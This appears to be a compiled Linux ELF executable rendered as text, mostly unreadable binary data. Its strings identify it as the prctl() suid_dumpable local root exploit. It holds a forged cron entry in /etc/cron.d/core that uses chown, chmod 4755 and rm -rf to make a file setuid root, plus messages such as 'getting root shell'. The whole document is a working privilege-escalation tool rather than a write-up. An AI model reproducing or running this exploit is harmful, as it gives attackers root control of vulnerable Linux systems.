ELFІ44 (&#444444 PHHH hhhQtd/lib/ld-linux.so.2GNUSuSE      Y<L?RZb}FHw6lX86:68ċr: .Q _Jv_RegisterClasses__gmon_start__libc.so.6geteuidsnprintfgetpidprctlexeclperrorreadlinksetrlimitsleepkillchdirsetgidsignalforkgettimeofdayexit_IO_stdin_used__libc_start_mainsetuidGLIBC_2.2GLIBC_2.0$ii ii ܐ      $(,04Uu5%%h%h%h%h%h %h(%h0%h8p% h@`%hHP%hP@%hX0%h` % hh%$hp%(hx%,h%0h%4h1^PTRhh QVh[US[ RtX[ÐUPP=`u.Ht&HҡHu`ÉUQQtt h{xÐUjhhU)ua hȋ j jjhht hEy hhhh#Du h2_ h@hj ]u hh(E hsh`j* hJu hEjj u, h h%Ed h، aPhhhhhhh E}v h E h'E}u hDE}u jxC j hMIj uyu hdEfjhu,<<)Php jx hEEÐU]"} u)pu]u}]Nu]u}]Í&'U]u1Eí}3 )9sEאt&FE9r]u}]Ë$ÐUSRt ЋuX[]US[3PfY[[+] getting root shell /bin/sh[-] execle prctl() suidsafe exploit (C) Julien TINNES /proc/self/exe[-] readlinkThis is not fatal, rewrite the exploit [-] signal[+] Installed signal handler /etc/cron.d[-] chdir[-] prtctlIs you kernel version >= 2.6.13 ? [+] We are suidsafe dumpable! /etc/cron.d/core [-] cronstring is too small [+] Malicious string forged [-] fork[+] Segfaulting child [-] kill[+] Waiting for exploit to succeed (~%ld seconds) [-] It looks like the exploit failed $ t ( ܄Ԅooov…҅"2BRbr† #/etc/cron.d/core suid_dumpable exploit SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #%s* * * * * root chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)GCC: (GNU) 3.3.4 (pre 3.3.5 20040809)І",t !{$!oy_IO_stdin_used6{E__libc_csu_finij__libc_csu_initkІ../sysdeps/i386/elf/start.S/usr/src/packages/BUILD/glibc-2.3/csuGNU AS 2.15.91.0.2!idGintQ_VivċOwV/usr/src/packages/BUILD/glibc-2.3/cc/csu/crti.S/usr/src/packages/BUILD/glibc-2.3/csuGNU AS 2.15.91.0.2 fAx!int7iVj[Ui],= xU QiR,4 ,  + ,  -  .w /usr/src/packages/BUILD/glibc-2.3/cc/csu/crtn.S/usr/src/packages/BUILD/glibc-2.3/csuGNU AS 2.15.91.0.2%% $ > $ > 4: ; I?  &I%% $ > : ; I$ > .? : ; ' @ 4: ; I U4: ; I &I I ! '  I4: ; I? < %T/ ../sysdeps/i386/elfstart.SІ01:"VWYX    init.cC /usr/src/packages/BUILD/glibc-2.3/cc/csucrti.S3,Wdt#,: ,Wdd,,-Y /usr/lib/gcc-lib/i586-suse-linux/3.3.4/includeelf-init.cstddef.he;VuVVZj+[8 kC /usr/src/packages/BUILD/glibc-2.3/cc/csucrtn.S |  bAB FNO XAB IPshort unsigned intunsigned char/usr/src/packages/BUILD/glibc-2.3/csushort intlong long intlong long unsigned int_IO_stdin_usedGNU C 3.3.4 (pre 3.3.5 20040809)__libc_csu_finisize_t__init_array_end__init_array_startelf-init.c__fini_array_end__libc_csu_init__fini_array_startsize0=VDNVNUPU[V~V|.symtab.strtab.shstrtab.interp.note.ABI-tag.note.SuSE.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame.ctors.dtors.jcr.dynamic.got.got.plt.data.bss.comment.debug_aranges.debug_pubnames.debug_info.debug_abbrev.debug_line.debug_frame.debug_str.debug_loc.debug_ranges44#HH 1hh<B ((pJRovv._o0n Ԅw ܄ tt{@І  ̍ ܐX@@ ``@ `x_o s?'X40(%?MGJX#P %e D-4Hh(vԄ ܄ t  І ̍ܐ@` !"#$%>Iq|qq>qIq>I">- =HVdqHu`  ` = ̍ ">!,<@QclsZ Db  t H)`25І <6MX^i| X P @ 6:8*P1x H^cvċ:@ Q /usr/src/packages/BUILD/glibc-2.3/cc/config.h/usr/src/packages/BUILD/glibc-2.3/csu//abi-note.S/usr/src/packages/BUILD/glibc-2.3/cc/csu/abi-tag.hsuse-note.Sinit.c/usr/src/packages/BUILD/glibc-2.3/cc/csu/crti.S/usr/src/packages/BUILD/glibc-2.3/cc/csu/defs.hinitfini.ccall_gmon_startcrtstuff.c__CTOR_LIST____DTOR_LIST____JCR_LIST__p.0completed.1__do_global_dtors_auxframe_dummy__CTOR_END____DTOR_END____FRAME_END____JCR_END____do_global_ctors_aux/usr/src/packages/BUILD/glibc-2.3/cc/csu/crtn.S3.celf-init.creadlink@@GLIBC_2.0execl@@GLIBC_2.0getpid@@GLIBC_2.0_DYNAMIC_fp_hwperror@@GLIBC_2.0fork@@GLIBC_2.0signal@@GLIBC_2.0shsetrlimit@@GLIBC_2.2__fini_array_end__dso_handle__libc_csu_finisetgid@@GLIBC_2.0crontemplatefname_initprctl@@GLIBC_2.0myrlimitte_startchdir@@GLIBC_2.0sleep@@GLIBC_2.0cronstring__fini_array_start__libc_csu_init__bss_startmain__libc_start_main@@GLIBC_2.0__init_array_enddata_startprintf@@GLIBC_2.0_finigettimeofday@@GLIBC_2.0snprintf@@GLIBC_2.0exit@@GLIBC_2.0_edata__i686.get_pc_thunk.bx_GLOBAL_OFFSET_TABLE__end__init_array_start_IO_stdin_usedkill@@GLIBC_2.0__data_start_Jv_RegisterClassessetuid@@GLIBC_2.0geteuid@@GLIBC_2.0__gmon_start__